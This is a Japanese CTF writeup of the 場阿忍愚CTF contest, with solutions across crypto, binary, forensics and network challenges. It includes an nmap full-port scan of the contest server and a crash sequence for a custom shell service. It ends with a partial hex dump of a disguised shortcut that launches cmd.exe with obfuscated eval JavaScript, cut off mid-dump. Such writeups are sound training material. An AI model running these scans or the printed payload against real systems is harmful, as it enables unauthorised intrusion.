場阿忍愚CTF Writeup

5381pt 14位 仙人 でございました。 場阿忍愚CTF Writeupです。
kanata約3年前に追加

CTF Writeup 場阿忍愚CTF

結果&感想

5381pt 14位 仙人 でございました。

すごく楽しかったです!!

profile.png

ranking.png

graph.png

101 練習 image level 1

フラグを探して奉り候

101-level001a.png

101-level001b.png

101-level001c.png

101-level001d.png

CTF始めての方は一回四つの画像ファイルをダウンロードして、何かフラグっぽい文字列が分かれば提出してみて下さい。


特に説明不要かと。画像を縦に並べれば、答えがわかる。

111 芸術 ワットイズディス?

111-Art-10.png

フラグはニッポンゴでよろしゅう願い奉る。

ヒント1:セキュリティが大好きな大和魂なら分かります!
サンタからのヒント:大和セキュリティ勉強会のステッカーでござる。


篆書体という印鑑に使われるフォントで書かれている。
当然、ほとんど読めない。ただ、小さい"由"が見えたり、二文字目が"和"という事が解ったので、これはもぅ"大和セキュリティ"だろうという。。
自分的にはエスパー問題。

112 芸術 cole nanee?

112-Art-100.png

フラグは漢字一文字で願い申し上げ候。


これもエスパー問題でゴワス。。
「忍」

113 芸術 Lines and Boxes

113-Art-300new3.jpg

think outside the 口

(フラグの形式を当てるのも問題の一部です)
サンタ殿からのヒント:日本人には読みづらい漢字でござる。


漢字に見せかけた英字

WORDPLAY

114 芸術 Why Why want something more?

114-Art-150.png

You are already there!

フラグは漢字二文字でござる。


難関でございました。
まずgoogle画像検索をする。
すると、sato shozo先生の作で、恐らくAsian Art Museumの所蔵だと思われる。
そういう訳で所蔵品リストを片っ端から調べるも出てこない。。

そこで!画像検索はgoogleだけじゃない!と思い、調べたら出てきた。
http://isearch.babylon.com/?s=images&babsrc=home&sd=1&q=sato+shozo&start=60

これだ・・・
http://image.issuu.com/150818192831-7f8b1d91eb4fea406f13202a76a994bc/jpg/page_56.jpg

「如是」

115 芸術 毎日使う

115-Art-200.JPG

GOKUUUUUU

フラグは漢字一文字でござる。


個人的には、これもエスパー問題。
寝っ転がってたら突然解答が降りてきた。

「氣」

そうか、ドラゴンボールか。

117 芸術 Extreme Shodo POWER!!

117-Art500ESP1.jpg

What do you need to get bigger?


ギブアップ。3文字は解った。

  • 1文字目 「氣」 文字を切り出して画像検索の果てにこれに行き着く。「陽光空氣Yes」っていう水の製品の"氣"の字が同じフォント。
  • 2文字目 わからん「ぐ」?wwww
  • 3文字目 「呼」 篆書体
  • 4文字目 「汲」 篆書体
  • 5文字目 わからん「永」かな?

篆書体は、もぅ図書館まで行って調べたわ。

117_1.jpg

篆書体は、あたりがついていれば以下で調べられる。
http://font.designers-garage.jp/ds/execute/FontSearch?searchType=1&saleType=0&category=09

121 二進術 壱萬回

121-calculation


実行すると計算式が表示されて、計算結果の入力を促される。それが一万回繰り返される。

みんな大好き計算問題は、ネットワーク越しに行うシェルスクリプトを持ってたので、それを流用しようと、ncコマンドとか使ってネットワーク越しに動かそうとしたけど、うまく動かなかった。
結局expectつかってスクリプト書いた。

#!/bin/expect -f

spawn ./121-calculation


set i 0
while {$i <= 100000} {

puts "\n#### $i ######"

expect "*="
set quest $expect_out(buffer)

set answer [exec echo $quest | tail -1 | tr -d '=' | tr -d '\r' | bc]
send "$answer\n"

incr i 1
}

122 二進術 DxLib遊戯如何様

122-files.zip


オセロのゲームを勝ち続ければよい。CPUの対戦相手はそんなに強くない。
うさみみハリケーン先生の出番です。

うさみみハリケーンを使って、何回か勝負して勝ちながら、、勝利数をカウントしているメモリ領域のアドレスを割り出せる。
そこを書き換えて、勝利するとフラグが得られる。

122.png

123 二進術 Unity遊戯如何様

123-files.zip

手がかり:
* Assembly-CSharp.dllを探しましょう
* .Net逆コンパイラを使いましょう
* GUI Manager以下のコードを読みましょう


ギブアップ。そもそもUnityのゲームを環境も含めてどうすれば起動できるかわからない。
それでも、.Net逆コンパイラのIlspyで、Assembly-CSharp.dllでGUI Manager以下のコードを読むと、
FLAG{its_3D_Game_Tutorial}が得られるんだけど、これが正解じゃないらしい。どこに隠されているか、わからなかった。

131 解読術 image level 5

フラッグを探してください
131-mondai.zip


複数の画像ファイルが入っているzip。zipを展開したのが以下。

131_8f14e45fceea167a5a36dedd4bea2543.png131_45c48cce2e2d7fbdea1afc51c7c6ad26.png131_a87ff679a2f3e71d9181a67b7542122c.png131_1679091c5a880faf6fb5e6087eb1b2dc.png131_c9f0f895fb98ab9159f51fd0297e236d.png131_c4ca4238a0b923820dcc509a6f75849b.png131_e4da3b7fbbce2345d7772b0674a318d5.png131_c81e728d9d4c2f636f067f89cc14862c.png131_eccbc87e4b5ce2fe28308fd9f2a7baf3.png

時刻順に並べ替えて読むと、以下になる。

KOUBE-GYU

と、自分のメモには書いてあるんだけど、他の人のwriteupを見たら???ってなった。もしかしたらメモが間違っているかも?
このファイル名でググると、元は数値で、それをハッシュ化したものだとわかる。数字順に並び替えれば良い。

132 解読術 Ninjya Crypto

132-Ango100-Ninja-Crypto-small.jpg

敵か仲間か? 証明して!

サンタ殿からのヒント:忍者なら分かる暗号でござる。


以下で解読できる。
神代文字とか忍者文字とか言うらしい。google画像検索してるとわかる。

http://blogimg.goo.ne.jp/user_image/72/c6/4ecb6c42ec2de816667cffc6484c9f9e.jpg
http://blogimg.goo.ne.jp/user_image/6c/b1/94e7156f6e5b76e46c3394b6fd4e267f.jpg

解読結果は、「ヤマトイエハ」という事でFLAGは「川」

133 解読術 Decrypt RSA

133-Decrypt_RSA.zip


まず、鍵を調べてみましょ。

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (640 bit)
Modulus:
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
    5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV
NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV
MtwLWnTS0AbxAgMBAAE=
-----END PUBLIC KEY-----

Modulusと書いてあるところが、素因数の積の所ね。これを素因分解できれば勝ち。
鍵長640bitですなぁ。個人のPCでは素因数分解するには計算量的に難しそうという印象。
16進数でかつ、コロンで区切ってあるけど、これを10進数に変換するところから始まります。

シェル芸してみますか。

$ openssl rsa -text -pubin < public-key.pem|grep ":"|grep "^ "|tr -d "\n :"|tr [a-z] [A-Z]
writing RSA key
00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1
$ echo "obase=10; ibase=16; 00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1" | bc|tr -d "\n\\"
3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609

ということで、10進数で、3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609 を素因数分解できればいいんです。

640bitの鍵長は・・・短時間で素因数分解できるんだろうかと疑いながらも msieve というツールを使って素因数分解を試みた。
数時間後・・・「いや、これ無理だろwww」と思って、別のアプローチを取ることにした。

そもそも、長い鍵長のRSA暗号は、それを解くコンテストが随時開催中であり、640bit鍵長は既に2005年に解かれている。
(ちなみに賞金2万ドル!!すげえ)
それから10年経過しているにしても、個人PCのCPUパワーで2005年に実施した計算量を出せるのかぁ、と甚だ疑問に思ってはいた。
そんなCPU処理能力依存の問題を出題するわけもなし。

と思って、公開鍵からデコードした十進数の素因数の積をググったら出てきた。

http://mathworld.wolfram.com/news/2005-11-08/rsa-640/

コンテストの時のままの数値でしたわけですね。

ちなみにちなみに、コンテストは引き続いて開催中で、2048bit鍵長のものまでが出題されている。これの賞金は20万ドル・・・!

134 解読術 Zach! Take a nap!

う た た 寝
134-zach_handout.zip

サンタさんからのヒント:「ザック、疲れとるやないか? Why don't you take a NAP, ZACH!?」


ギブアップ。エロい人解説求む。

141 攻撃術 craSH

有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
もちろん、忍者たちは諜報活動なども行う情報収集の達人であるため、CVE-2014-6271に関する情報も公開されたその日の内に把握していたのである。
幸いにも忍者探偵処では、事務処理やホームページに用いているワークステーションには、bashではなく独自のシェルプログラムを用いていたため、件のCVEによる情報漏えい等は起こらなかった。
しかし、進んだ危機管理対策の考えを持っている忍者探偵処の社長、初鳥犯象は、もしも自社のシェルプログラムに脆弱性が見つかったならば、それは大変なことになるのではないかと考えた。
忍者探偵処の新米忍者であるあなたは社長に指名され、本当に脆弱性は存在しているのかどうか調べなければならないことになった。
もちろん、あなたは新米なので、実際に脆弱性を利用してサーバーの内部に侵入したりする必要はない。
ただシェルプログラムがクラッシュするような、バグが存在しているということだけを証明するだけでよい。
nc 210.146.64.35 31337
141-craSH_handout.zip

サンタ殿からのヒント:実装されている機能はls, cat, echo, exit, 入出力redirect。確保したメモリのサイズとそのメモリに書き込むサイズの不一致がどこかで起こらないか注意深く観察する。Fuzzingも可能でござる。


とりあえず、メモリ破壊できればよさそうだろうということで、いろいろ入力してみるも大丈夫そう。
う~ん、と思ってソースコードを眺める。

struct file {
    size_t len;
    char *data;
};

struct node {
    char *key;
    struct file *val;
    struct node *next;
};
  • プログラムの中でリダイレクトした時に、ファイルに出力出来る仕様。
  • ソースコードのこの構造体の部分から、ファイルはリンクリストになっているのが推測できる。

つまり、Aファイルを作る→Bファイルを作るというオペレーションをすると、

  • Aファイルのメモリ領域確保(ファイル作成)
  • Bファイルのメモリ領域確保(ファイル作成)
  • Aファイルの*nextは、bの構造体を指すようにセット

ざっくり言うとこんな感じでと動いているハズ。lsコマンドとかでファイルを表示するときは、このリンクリストを先頭から辿るという動作をしている。
なんだけど、重要なポイントがあって、

  • ファイルの追加には対応しているけど、変更や削除に対応する処理が見当たらない

という事でございます。なんで、けっこう当てずっぽうなんだけれど、こんなオペレーションで落ちる。

$ ./netcat 210.146.64.35 31337
$ echo A > A
$ echo B > B
$ cat A B > C
$ ls
C B A
$ cat A B C > A
$ ls
C B A
$ cat A B C > C
$ cat A B C > A
$ ls
C B A
$ cat A B C > C
$ ls
C B A
$ cat A B C > A
That's enough!
flag={NoMoreBashdoor}

142 攻撃術 Ninja no Aikotoba

鎌倉時代から江戸時代の日本においてスパイの様な位置づけにあった忍者が、味方を見分けるために「『山』に対して『川』と答える」といった合言葉を用いたという逸話は有名である。
日々、情報収集や諜報活動を行っていた忍者と、現代のハッカー・クラッカーには情報戦という点で相通ずる面があるように感じられる。
そこで、この問題では皆さんには忍者となって敵方忍者の合言葉を割り出し、敵の機密情報を盗み出すミッションに取り組んでもらいたい。
nc 210.146.64.35 31338
142-aikotoba_handout.zip

サンタさんからのヒント:

encryptが読めない人: 色々方法はあるので頑張る。読めたほうが良いですが、そもそも読む必要はあまりないと言えます。

最後で詰まってる人: 作問者はエスパー問題が嫌いなためエスパー要素は皆無。論理的思考で解けます。 よく分からないまま解けたという人もいるかと思いますが、それも想定した上での300点です。適当に試して見るのも手だと思います。
論理的に解きたい人はよく読もう: http://linux.die.net/man/3/
後は、与えられたファイルを見なおしてみて、まだ使ってないファイルはありませんか。


ギブアップ。最後が解けなかった。

1問目

Kawa? :

と聞かれるので

Yama

と応える。勘で答えられるけど、"Yama" のバイナリ値を 0x001a0012 で XOR している。
なので、"Kawa" を 0x001a0012 で XOR すれば自ずと答えがわかる。

2問目

So then next? :

と聞かれる。答えはソースにある。

ans[0] = 0164;
ans[1] = 111;
ans[2] = 0x6f;

ま、これ printf してもいいし、16進数に変換し、ASCIIコード表と照らしあわせてもいいし。
答えは

too

3問目

-9 0 0 18 -10 8 159 194 220 212 204 202? :

と聞かれる。ちょっと難しい。0文字目と6文字目が対応した暗号っぽい。
と言う事は、だ。0文字目と6文字目が、-9と159になるようなアルファベットの組み合わせを求めればいい。
52 × 52 = 2704 なので、ブルートフォースで答えが出せるね。

その時使った、コードをいちおう貼り付けておく。糞コードでお恥ずかしい限りだが。

/*
    gcc aikotoba.c -m32 -lcrypto -o aikotoba
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <openssl/md4.h>

encrypt(char *a, int *b){
    int c,d,e;
    for(c=0;c<6;c++){
        b[c]=0,e=c[a];
        while(d=e&-e){
            c[b]+=d;e-=d;
        }
    }
    for(d=0;d<6;d++){
        e=d[a+6];
        while(c=e&-e){
            b[d+6]=((d[a]&a[d+6])<<1L)+(a[d]^d[a+6]);
            d[b]-=c;e-=c;
        };
    }
}

void kill_enemy(void) {
    puts("You aren't my ally!!!");
    puts("[*] YOU DIED ");
    exit(0);
}

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

void truncate_newline(char *s) {
    char *np = strchr(s, '\n');

    if (np == NULL) return;

    *np = '\0';
    return;
}

void judge(char **buf, char **ans, size_t len) {
    fgets(*buf, len+2, stdin);
    truncate_newline(*buf);
    if (!is_matched(*buf, *ans, len)) kill_enemy();

    *buf += len;
    *ans += len;
}

void show_flag(void) {
    FILE *fp;
    char flag[256];

    fp = fopen("flag.txt", "rb");
    if (fp == NULL) {
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
        exit(-1);
    }

    fread(flag, sizeof(flag), sizeof(char), fp);
    fclose(fp);

    printf("Flag: %s\n", flag);
    exit(0);
}

int main(void) {
    FILE *fp;
    size_t i;
    size_t len;
    char input[256];
    char password[256];
    char shout[5];
    char *resp;
    char *ans;
    int result[12];
    unsigned char hash[MD4_LBLOCK];

    setbuf(stdout, NULL);

    fp = fopen("password.txt", "rb");
    if (fp == NULL) {
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
        exit(-1);
    }

    fseek(fp, 0, SEEK_END);
    len = (size_t)ftell(fp);
    rewind(fp);
    assert(len < sizeof(password)-1);
    fread(password, len, sizeof(char), fp);
    password[len] = '\0';
    fclose(fp);

    // I'm kindness itself
    for (i=0; i<len; i++) {
        assert(islower(password[i]) || isupper(password[i]));
    }

    puts("Hi.");
    puts("Let me check if you are my ally.\n");

    *(int*)shout = *(int*)password ^ 0x001a0012;
    shout[4] = '\0';
    printf("%s? : ", shout);

    resp = input;
    ans = password;
    judge(&resp, &ans, 4);
    puts("Good.\n");

    ans[0] = 0164;
    ans[1] = 111;
    ans[2] = 0x6f;
    printf("So then next? : ");
    judge(&resp, &ans, 3);
    puts("Good.\n");

    // ----------------------------------
    int j,k;
    for(k=0;k<1;k++){
      ans[0]= 'K';
      ans[1]= 'a';
      ans[2]= 'n';
      ans[3]= 's';
      ans[4]= 'a';
      ans[5]= 'i';
      ans[6]= 'T';
      ans[7]= 'a';
      ans[8]= 'n';
      ans[9]= 'a';
      ans[10]= 'k';
      ans[11]= 'a';
      ans[12]= ' ';
      encrypt(ans, result);

      //printf("%d(%x %c)", result[0],ans[0],ans[0]);
      printf("[%d]%d(%c) ",k, result[0],ans[0]);
      for (i=1; i<12; i++) {
        printf(" %d(%c)", result[i],ans[i]);
      }
      printf("\n----------------------\n");
    }
    // ----------------------------------
    for(k=41;k<122;k++){
      for(j=41;j<122;j++){
        ans[0]=k;
        ans[6]=j;
        encrypt(ans, result);
        printf("%d %d %c %c\n",result[0],result[6],ans[0],ans[6]);
      }
    }
    // ----------------------------------


    encrypt(ans, result);
    printf("%d", result[0]);
    for (i=1; i<12; i++) {
        printf(" %d", result[i]);
    }
    printf("? : ");
    judge(&resp, &ans, 12);
    puts("Good.\n");

    MD4(ans, 4, hash);
    for (i=0; i<MD4_LBLOCK; i++) {
        printf("%02x", hash[i]);
    }
    printf("? : ");
    judge(&resp, &ans, 4);
    puts("Good.\n");

    printf("And the rest? : ");
    fgets(resp, input+sizeof(input) - resp, stdin);
    truncate_newline(resp);
    if (strlen(resp) < 10) kill_enemy(); // no, no. that's too short.
    if (!is_matched(input, password, len)) kill_enemy();

    puts("Well Done!\n");
    show_flag();
}

答えは以下でございました。

KanasiTanaka

4問目

aa1bf8cae599b19366a8bd4b87ddd327? :

と、聞かれる。ソースコードから、MD4のハッシュだと解る。
ここらへんで、元の値を調べられる。

http://md5decrypt.net/Md4/

「Zach」でした。

5問目

これがわからん・・。

And the rest? :

ノーヒントのように見える。たぶん、strcmp関数の仕様がちょっと変わっているので、

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

一致したら、0を返すというのが、通常の仕様な気がするんだけど、-1または1で判定している。
おや、と思い、渡された libc.so.6 をobjdmpしてみたんだけど、strcmpの怪しい箇所を見つけられなかった。

143 攻撃術 craSH 2

有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
社長から任命された、バグが存在していることを証明する仕事を見事にこなしたあなたは、下忍から中忍に昇格し、実際に脆弱性を利用してサーバーの内部に侵入したりするプロの忍者としての活動が認められたのである。
さあ、上忍昇格へのチャンスを逃してはならない。
今度は、先のシェルプログラムに実際に侵入することで、社長の評価をより高いものにするのだ。
141-craSH_handout.zip


ギブアップ。教えてエロい人。

151 解析術 Doubtful Files

時は文禄元年、伊士川御得門が伊賀で忍者修行を始めたばかりの頃。忍者にとって特に重要とされる情報収集能力を磨いていた。ある時、いつものようにインターネットから情報収集していると、何か不自然な点があることに気付いた。御得門が集めたファイルに何があったのだろうか?
151-DoubtfulFiles.exe

サンタ殿からのヒント:Windowsでインターネットからダウンロードしたファイルの特徴は?


NTFSの代替データストリーム情報に隠されている。

DOSプロンプトから、以下実行すると、 7.inf と 8.vbs に値が隠されていることがわかる。

> more < 7.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

kanata@FISH C:\Users\kanata\Desktop\場阿忍愚CTF\151\Downloads
> more < 8.vbs:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

お馴染みの Base64形式ですね。今度はLinuxで

$ echo ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== |base64 -d
flag={Alternate Data Stream on NTFS!}

152 解析術 情報漏洩

情報収集能力を極めた伊士川御得門は、とある大名から情報管理の仕事を請け負うようになった。大名屋敷の中にある情報管理所において、機密情報の運用を行う重要任務である。もちろん、情報管理所は厳重に管理されており、例えば、入退室時には護衛による審査があるほか、作業端末には情報持ち出し防止の策が施されている。しかし、このような状況のなか、御得門はまんまと大名の機密名簿を持ち出すことに成功したのである。果たしてどのようにやったのだろうか?
152-Leaked-Information.pcap


WireSharkで見ると、パケットのNo.26-28にpng画像が目grepで判別できる。後は、この3パケットから、ヘッダ部分(0x00-0x26)を覗いてデータを抽出して、くっつければOK!

152.png

153 解析術 Speech by google translate

153-flag.wav


アルファベットとか数字を喋っている内容。なんか、いい感じの所で切れている。
wavファイルの再生時間に関係する所をバイナリファイルで修正すればよさそう。

ここらへんを参考に修正する。

左(org.txt)がオリジナル、右(edit.txt)が修正したもの

$ xxd 153-flag.wav > org.txt
$ xxd "153-flag - コピー.wav" > edit.txt
$ sdiff -s org.txt edit.txt
0000020: 0400 1000 6461 7461 74a0 1500 0100 fdff  ....datat.. | 0000020: 0400 1000 6461 7461 0007 3500 0100 fdff  ....data..5

それで、聞き取った結果

X5kpBQJUufHdkch923SJ

154 解析術 Cool Gadget

大名からの情報搾取に成功した伊士川御得門は、いよいよ盗賊となることを決意した。しかし、よくよく考えると、せっかく苦労して搾取した秘宝を別の盗賊に横取りされるとたまったものではない。毎晩不安で眠れない御得門に対して、秘宝を万全に守るための何か良い道具を提案することは可能だろうか?

サンタ殿からのヒント:怪しい文字を探す。そもそも、これは何の画像?


まず、画像を表示すると、こんなの。

154-Cool-Gadget.jpg

壊れてるくさい。バイナリエディタで見てみよう。高い目Grep力が必要w

154_stirling.jpg

removemeとなっておりますなー。これを削除してファイルを表示すると、画像が綺麗に表示されます。

154-Cool-Gadget_edit.jpg

EAHIVが読み取れますね。

それで、抜き出した値は、これですが

removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}

Base64っぽいので、複合する。

$ echo U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0|base64 -d >base64.bin
$ xxd base64.bin
0000000: 5361 6c74 6564 5f5f 4312 52d9 e62a 2c68  Salted__C.R..*,h
0000010: 1522 f4ce 7352 4108 7924 4993 391b 7fc5  ."..sRA.y$I.9...
0000020: df18 8b9f d8ab c53b 0ef5 389d 1699 e274  .......;..8....t

なんか頭に Salted__C とかありますね。これでググっていくと、どうやらAES暗号だという事がわかります。

きっとキーは・・・ EAHIV ですねw
複合します。

$ openssl enc -d -aes-128-cbc  < base64.bin >bin
enter aes-128-cbc decryption password:
$ cat bin
flag={Cryptex is cool!}

155 解析術 Encrypted Message

盗賊業が板につきだんだん大胆になってきた伊士川御得門は、白昼堂々と大名屋敷に立ち入った。奥の作業所では、午前中の作業を終えた計算機係たちが昼休憩に出ており、計算機は開いたまま無人の状態であった。このチャンスを見逃す御得門であるはずもなく、手際よくデータを抜き取り持ち帰った。どんな機密情報が含まれていたのか?
155-memdump.zip
155-secret

大寒波でも熱くなるヒント:secret : 暗号化されたボリューム, memdump.mem : OS起動中の全メモリダンプ。最終的にはとある有名なツールのソースコードを入手する必要があります(想定解)。


ギブアップ。たぶん、メモリのダンプファイルの中から、プロセスが抱える鍵の情報を抜き出し、それで 155-secret を対象に複合化するんだろうなという当たりはつけたものの、解けなかった。

161 電網術 ftp is not secure.

161-problem.pcap


WireSharkでみると、FLAG.tarをアップロードしていることが解る。FLAG.tarを抽出して、tarを展開すればokと思いきや、中身のファイル内容はBase64形式なんで、複合する必要がある。

$ echo RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg==|base64 -d
FLAG{XTInX69nqvFaoEwwNb}

162 電網術 ベーシック

162-basic.pcap

サンタ殿からのヒント:URLだと思い込んでいませんか?


Basic認証で、いろいろやってるけど、Base64の値が紛れ込んでいることに注意すれば解ける。

つまるところ、以下である。

flag={BasicIsNotSecure}

163 電網術 六十秒

大石内蔵助良雄は赤穂浪士四十七士に集結時刻を伝える手段を悩んでいた。
集結時刻をそのまま伝文に載せてしまえば、吉良義央にばれてしまう。
そこで昼九ツ半の刻を用いた暗号化手法を用いることで攪乱を試みた。
指定された時刻に間に合うように集結するために、集結時刻を解読して欲しい。
163-60sec.pcap

サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。


サンタさんのヒントが無かったら解けなかった。

まず、問題文中の「昼九ツ半の刻」であるが、13時の事である。
13時・・・13字・・・ROT13か。という訳で、それっぽい所をROT13にかけると以下が得られる。

  • amazon.co.jp
  • kyotou.ac.jp
  • rulers

と、pingに仕込まれたこれ

B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9

Base64っぽいんだけど、複合できなくて詰んでた。

それで、ヒントが出たもんだから、「京都大学 生協グッズ」とかで調べると「素数ものさし」というものを見つける。
なるほど、kyotou.ac.jp と rulers(ものさし) は、このことか。
それで、amazonで「素数ものさし」を検索

163.png

ああ、URLになんか見覚えのある文字が、ヒントの「削るため」なるほどね。

B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
から、
B00OWA6QNO
を削除すればいいんだね。

$ echo ZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9 |base64 -d
flag={12Gatsu14NichiAkatsuki7Tsu}

164 電網術 Japanese kids are knowing

210.146.64.34

(ポートスキャンは苦しゅうない)


という訳で、ポートスキャンしてみたものの、全ての通信がシャットアウトされていた。pingも通らない。
おやこれは難しいなと思ってたんだけど、どうやら、自分のPCから目的のサーバまでの通信経路で不正アクセスとみなされて、通信をブロックされてしまったらしい。

そんなわけで、このサーバ(自分のPCとはプロバイダが違う)から、ゆっくりポートスキャンした。

※以下は、実行しないでね。間違うと不正アクセスとみなされます。
こういう注意も出てました。

場阿忍愚CTFでは問題を解くにあたりアンチウィルスソフトやファイアウォール、IDS/IPSなどのセキュリティシステムでで異常を検知することがあります。
大学や企業のネットワークを経由して場阿忍愚CTFへ参加される場合、通信が異常と検出されることも考えられます。
各ネットワークのセキュリティポリシー等を十分確認いただき、必要であればネットワーク管理者やセキュリティ管理者とご相談の上ご参加ください。

$ ./nmap -v -sU -sS -T2 -p1-65535 allports aaa.bbb.ccc.ddd
※ aaa.bbb.ccc.dddは、IPアドレス

結果は

PORT     STATE SERVICE
5006/tcp open  unknown

でした。netcatで繋いでみる。

$ ./netcat 210.146.64.34 5006
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.

こんなんでましたけど。動物の名前をmd5したのが答えという訳ですね。
前半の「C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C-」は音ですね。Cがドで、Dがレという具合に。
CTFでは、手を変え品を変え暗号が出てきますが、AからGの文字だけで表現されているものは、音を表していると思ってよいでしょう。

かえるの歌でした。

無駄に flog とかでmd5してたのでハマってたんだけど、結局以下でした。

$ echo -n kaeru|md5sum
b0232fe6fa3a8da06ef547191e3e8e40  -

165 電網術 Malicious Code

時代の最先端を行く伊士川御得門は、技術研鑚を怠ることなくさまざまな攻撃手法を編み出していく。これらのうちの一部はのちに発展し、APT、標的型攻撃、水飲み場型攻撃、、などと後世に語り伝えられていくことになる。さて、現時点ではまだそのような洗練された手法を確立しているはずもなく、ある考えを試してみようと御得門はとあるサーバを立ち上げた。以前から目をつけていた大名に対して攻撃をしかけたところ、端末を乗っ取ることに成功したのである。
165-cap2.pcapng


けっこう難しかった。もっとスマートに解く方法もあるような気はする。順を追って説明します。

手順1 ファイル抽出

まず、NetwokrMinerを使ってファイルを取り出す。別にWireSharkでも出来ると思う。

その index.html をを開くと、 p.download.exe というファイルがダウンロードされる。

PE形式っぽいですが、中はスクリプトが仕込まれているのが判ります。

$ xxd p.download.exe
0000000: 4c00 0000 0114 0200 0000 0000 c000 0000  L...............
0000010: 0000 0046 a100 0000 0000 0000 0000 0000  ...F............
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0700 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 3501 1400  ............5...
0000050: 1f50 e04f d020 ea3a 6910 a2d8 0800 2b30  .P.O. .:i.....+0
0000060: 309d 1900 2f43 3a5c 0000 0000 0000 0000  0.../C:\........
0000070: 0000 0000 0000 0000 0000 0056 0031 0000  ...........V.1..
0000080: 0000 0000 0000 0010 0057 494e 444f 5753  .........WINDOWS
0000090: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
00000a0: 002e 0000 0000 0000 0000 0000 0000 0000  ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0057  ...............W
00000c0: 0049 004e 0044 004f 0057 0053 0000 0016  .I.N.D.O.W.S....
00000d0: 005a 0031 0000 0000 0000 0000 0010 0073  .Z.1...........s
00000e0: 7973 7465 6d33 3200 0042 0009 0004 00ef  ystem32..B......
00000f0: be00 0000 0000 0000 002e 0000 0000 0000  ................
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000110: 0000 0000 0000 0073 0079 0073 0074 0065  .......s.y.s.t.e
0000120: 006d 0033 0032 0000 0018 0056 0032 0000  .m.3.2.....V.2..
0000130: 0000 0000 0000 0000 0063 6d64 2e65 7865  .........cmd.exe
0000140: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
0000150: 002e 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0063  ...............c
0000170: 006d 0064 002e 0065 0078 0065 0000 0016  .m.d...e.x.e....
0000180: 0000 00f7 032f 0063 0020 0065 0063 0068  ...../.c. .e.c.h
0000190: 006f 0020 0065 0076 0061 006c 0028 0066  .o. .e.v.a.l.(.f
00001a0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
00001b0: 0070 002c 0061 002c 0063 002c 006b 002c  .p.,.a.,.c.,.k.,
00001c0: 0065 002c 0064 0029 007b 0065 003d 0066  .e.,.d.).{.e.=.f
00001d0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
00001e0: 0063 0029 007b 0072 0065 0074 0075 0072  .c.).{.r.e.t.u.r
00001f0: 006e 0028 0063 005e 003c 0061 003f 0027  .n.(.c.^.<.a.?.'
0000200: 0027 003a 0065 0028 0070 0061 0072 0073  .'.:.e.(.p.a.r.s
0000210: 0065 0049 006e 0074 0028 0063 002f 0061  .e.I.n.t.(.c./.a
0000220: 0029 0029 0029 002b 0028 0028 0063 003d  .).).).+.(.(.c.=
0000230: 0063 0025 0061 0029 005e 003e 0033 0035  .c.%.a.).^.>.3.5
